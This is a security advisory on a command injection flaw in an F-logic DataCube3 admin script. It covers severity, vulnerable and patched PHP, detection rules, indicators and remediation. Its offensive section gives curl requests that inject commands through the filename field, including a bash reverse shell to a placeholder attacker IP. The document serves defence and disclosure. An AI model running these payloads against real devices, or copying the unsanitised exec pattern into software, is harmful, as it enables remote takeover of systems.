CVE-2024-34852
Executive Summary
CVE-2024-34852 is a critical command injection vulnerability affecting F-logic DataCube3 v1.0. The flaw resides in the ./admin/transceiver_schedule.php file, where improper string filtering allows an unauthenticated remote attacker to inject arbitrary system commands via a crafted file name. Successful exploitation leads to full remote code execution (RCE) on the underlying operating system. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for asset owners.
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CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Vulnerability does not cross trust boundaries.
- Confidentiality (C): High (H) – Full system read access.
- Integrity (I): High (H) – Full system write access.
- Availability (A): High (H) – Full system disruption possible.
CVSS Score: 9.8 (Critical)
Deep Dive & Mechanics
The vulnerability exists in the transceiver_schedule.php script, which handles file uploads or file name parameters for transceiver scheduling. The application fails to sanitize user-supplied file names before passing them to a system command execution function (e.g., exec(), system(), or shell_exec()). An attacker can inject shell metacharacters such as ;, |, &, or backticks within the file name parameter. When the application constructs a command like cp <user_input> /some/path or mv <user_input> /some/path, the injected payload is executed with the privileges of the web server (typically www-data or root).
Attack Flow:
- Attacker sends a POST/GET request to
/admin/transceiver_schedule.phpwith a malicious file name parameter. - The parameter contains a command injection payload, e.g.,
;id > /tmp/out. - The application concatenates this into a system command without sanitization.
- The OS executes the injected command, writing output to
/tmp/out. - Attacker retrieves the output or executes further commands.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<?php
$filename = $_POST['filename'];
$command = "cp " . $filename . " /var/data/transceiver/";
exec($command, $output, $return_var);
?>
Patched Code (Conceptual):
<?php
$filename = $_POST['filename'];
// Sanitize: remove shell metacharacters
$filename = preg_replace('/[;&|`$(){}[\]<>]/', '', $filename);
// Use escapeshellarg to prevent injection
$command = "cp " . escapeshellarg($filename) . " /var/data/transceiver/";
exec($command, $output, $return_var);
?>
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- Target: F-logic DataCube3 v1.0 (physical or virtual appliance)
- Attacker: Kali Linux with
curlandnc
Exploitation Steps:
- Identify the vulnerable endpoint:
curl -k -X POST "https://<target>/admin/transceiver_schedule.php" \ --data-urlencode "filename=test;id" - Execute a reverse shell:
# Attacker listener nc -lvnp 4444 # Payload curl -k -X POST "https://<target>/admin/transceiver_schedule.php" \ --data-urlencode "filename=test;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" - Persistence: Add SSH key or create a cron job.
Note: No public exploit code is available; the above is a conceptual demonstration.
Blue Team (Defensive)
Detection:
- Monitor web server logs for unusual POST requests to
/admin/transceiver_schedule.phpcontaining shell metacharacters. - Deploy WAF rules to block
;,|,&, backticks in file name parameters. - Enable command-line auditing (e.g.,
auditd) to captureexecvesyscalls from the web server process.
Hunting:
- Search for processes spawned by the web server user with suspicious arguments.
- Check for outbound connections from the DataCube3 appliance to unknown IPs on high ports.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Network | POST to /admin/transceiver_schedule.php with shell metacharacters |
Exploitation attempt |
| File | /tmp/* files created by www-data |
Command output artifacts |
| Process | bash, sh, nc, python spawned by Apache/PHP |
Post-exploitation activity |
| Log | Web server log entries containing ;, ` |
, &infilename` parameter |
Detection Engineering
YARA Rule
rule CVE_2024_34852_CommandInjection {
meta:
description = "Detects command injection attempts targeting F-logic DataCube3 transceiver_schedule.php"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-34852"
strings:
$php_file = "transceiver_schedule.php" nocase
$shell_meta = /[;&|`$(){}[\]<>]/
condition:
$php_file and #shell_meta > 2
}
Sigma Rule
title: CVE-2024-34852 Command Injection in F-logic DataCube3
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with shell metacharacters in the filename parameter to transceiver_schedule.php
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'transceiver_schedule.php'
cs-uri-query|re: 'filename=.*[;&|`$(){}[\]<>].*'
condition: selection
falsepositives:
- Legitimate file names containing special characters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-34852 F-logic DataCube3 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"transceiver_schedule.php"; http_uri; pcre:"/filename=[^&]*[;&|`$(){}[\]<>]/Pi"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the DataCube3 appliance from untrusted networks (place behind a firewall with strict ACLs).
- Disable the
transceiver_schedule.phpendpoint if not in use (e.g., via.htaccessor web server config). - Apply input validation at the WAF level to block shell metacharacters in file name parameters.
Long-Term Fix:
- Vendor must release a patch that uses
escapeshellarg()or parameterized APIs instead of string concatenation. - Until a patch is available, consider replacing the appliance or implementing a reverse proxy with deep inspection.
Workaround:
- Modify the PHP file manually to sanitize input (if source code is accessible):
$filename = preg_replace('/[;&|`$(){}[\]<>]/', '', $_POST['filename']);
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst